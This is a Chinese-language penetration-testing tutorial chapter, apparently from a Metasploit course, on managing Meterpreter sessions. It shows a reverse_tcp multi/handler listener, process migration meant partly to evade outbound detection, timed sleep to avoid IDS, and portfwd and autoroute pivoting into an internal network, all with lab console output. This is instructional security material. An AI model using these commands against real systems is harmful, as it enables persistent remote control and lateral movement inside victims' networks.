3.3 会话管理


3.3 会话管理

本节摘要:SOURCE 3.4:sessions -l 列表、-i 交互、-k 杀死;Meterpreter 内 migrate 提生存;多 session 并行管理。

动手:会话基本操作

漏洞利用是"攻城锤撞开城门",但城门洞开只是战役开始。会话管理才是把瞬时连接转化为稳固据点的关键。先过一遍基本操作:

sessions -l # Active sessions # Id Name Type Information Connection # 1 meterpreter x64/windows NT AUTHORITY\SYSTEM 192.168.56.10:445 # 2 shell WIN-7\admin 192.168.56.11:445 sessions -i 1 # 进入会话 1,出现 meterpreter > 提示符 getuid # Server username: NT AUTHORITY\SYSTEM sysinfo # Computer : WIN-7 # OS : Windows 7 migrate -N explorer.exe # [*] Migrating into 1234 background # [*] Backgrounding session 1... sessions -k 1 # [*] Killing session 1

SOURCE:会话管理是「巩固立足点」,不是 exploit 终点。

会话的本质:连接抽象

在框架底层,会话是 Msf::Session 类的实例,封装了目标系统类型、通信流、隧道配置与已加载扩展。两种主流会话:

  • CommandShellMsf::Sessions::CommandShell):轻量文本流,兼容性好,但功能单一、无结构控制
  • MeterpreterMsf::Sessions::Meterpreter):内存驻留的高级载荷,基于 TLV 协议通信,支持通道复用
# 命令输出样例:会话信息 sessions -i 1 -v # Type: meterpreter # Info: NT AUTHORITY\SYSTEM @ WIN-7 # Tunnel: 192.168.56.1:4444 -> 192.168.56.10:49213 # Via: exploit/windows/smb/ms17_010_eternalblue # UUID: ...

Tunnel 显示连接方向,Via 记录来源模块——这些信息在写报告时直接可用。

后台任务与监听器

真实渗透需要"多线程"能力:等一个回连的同时,处理另一个会话。这依赖 Job 管理器——handler 本质是一个后台 Job:

# 把监听器放后台 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.56.1 set LPORT 4444 run -j jobs -l # Id Name Payload Payload opts # 0 Exploit: multi/handler windows/meterpreter/reverse_tcp tcp://192.168.56.1:4444

监听器与 session 不是一一对应:一个监听器可以接受多个不同 IP 的回连,产生多个会话。Job 管理器把阻塞操作从主线程剥离,即使监听 Job 被终止,已建立的会话只要 TCP 连接还在就继续存活。

生命周期:从诞生到消亡

会话有完整生命周期,错误操作可能中断会话、暴露行踪。

初始化:Meterpreter 与框架协商密钥、获取系统信息、加载扩展列表。此阶段最脆弱,网络抖动即失败。

交互与稳定化:初始会话通常依附临时进程(如浏览器/Word),用户一关程序会话就死。因此 migrate 是首要任务——把执行线程注入 explorer.exe、services.exe 等长期运行的进程,既保稳定又借系统进程信任级别规避出站检测:

meterpreter > getpid # 1234 meterpreter > ps | grep -i explorer meterpreter > migrate 4560 # [*] Migrating from 1234 to 4560... meterpreter > getpid # 4560

休眠:受限网络中持续连接会引起 IDS 警觉。sleep 让会话断开并定时重连,可切换通道(如改走 HTTP 隧道):

meterpreter > sleep 300 # 会话休眠 300 秒后尝试重连

销毁:任务完成用 sessions -K 清理现场;意外断开时框架标记会话为 Dead 并保留日志。

并行技巧与战术应用

会话不只是命令行窗口,它是通往内网的跳板与信息源:

# 尝试把 shell 会话升级为 meterpreter sessions -u 1 # 通过会话做信息收集(后渗透模块) sessions -i 1 run post/windows/gather/enum_applications # 配置路由(内网横向的前置,详见 4.3) run post/multi/manage/autoroute -s 10.10.10.0/24

会话状态信息要配合 workspace 管理:给每个靶机批次命名 workspace,多线操作不乱。

03-03-fig01-6

⚠️ 常见坑:migrate 到高权限进程触发 EDR——lab 先开日志观察。别盲目 migrate 到 lsass.exe 等敏感进程,先 ps 看进程列表。

💡 关键直觉:session 是资产,background 保留多线操作。会开会话是入门,会养会话才是进阶。

核心回顾

  • sessions 命令是 C2 控制台:-l 列表、-i 交互、-k 杀、-K 全杀
  • migrate 提高稳定性非免杀银弹,需选长期运行的低敏进程
  • 生命周期:初始化→稳定化(migrate)→休眠(sleep)→销毁(sessions -K)
  • 实验结束 sessions -Kjobs -K 一起清理

会话类型切换与通道复用

框架允许在会话间切换、升级与复用通道,把单点会话变成枢纽:

# 升级:shell 会话 → meterpreter(需要 handler 在后台) sessions -u 1 # [*] Started reverse TCP handler on 192.168.56.1:4444 # [*] Sending stage (200774 bytes) to 192.168.56.10 # [*] Meterpreter session 2 opened # 复用:通过会话转发指定端口的 TCP 流 sessions -i 2 portfwd add -L 127.0.0.1 -l 33890 -r 10.10.10.5 -p 3389 # 把内网 10.10.10.5 的 3389 映射到本地 33890
# 另一终端通过转发端口访问内网 RDP(示例) # rdesktop 127.0.0.1:33890 # 本质:本地端口 → Meterpreter 隧道 → 内网目标端口

portfwd 是会话作为"跳板"的直接体现。它与 4.3 章的 autoroute/socks 一起,构成内网穿透的三件套。

会话健康检查

多会话场景下,定期体检能避免"会话悄悄死了还不知道":

sessions -l -v # 查看每个会话的 Tunnel 与 Via 信息 # -v 显示详细列 # 会话失联后的处理 sessions -k 3 # 确认失效则杀掉
# 会话告警的常见原因 1. 目标进程被关闭(未 migrate) 2. 网络断流(目标重启/防火墙策略变更) 3. 杀软查杀了注入进程 4. 会话休眠期间重连失败(sleep 通道切换)

把"会话保持率"当作实验质量指标:新会话先 migrate、再干活,能显著降低中途掉线概率。

会话日志与报告素材

框架对会话活动有记录,善用它们:

meterpreter > getuid meterpreter > sysinfo meterpreter > route print meterpreter > ipconfig # 这些命令的输出可逐条记录为报告附件
# 在控制台侧记录会话时间线 sessions -l -v | grep "Via" # Via 字段记录每个会话的来源模块,写入报告可追溯

SOURCE 建议:每个 session 的获取时间、模块、目标、凭证信息都纳入报告。会话不是孤立事件,而是攻击链上的坐标点——第 5.1 章会把这一思想工程化。记住一句话:会话是资产,会开是入门,会养(migrate + background + 日志)才是进阶。


作者与出处
原作者: 灏天文库
来源:灏天文库
整理: 灏天文库整理
由灏天文库平台收录,内容或由平台用户上传,仅供学习交流
发布者: 作者: 灏天文库 转发
评论区 (0)
U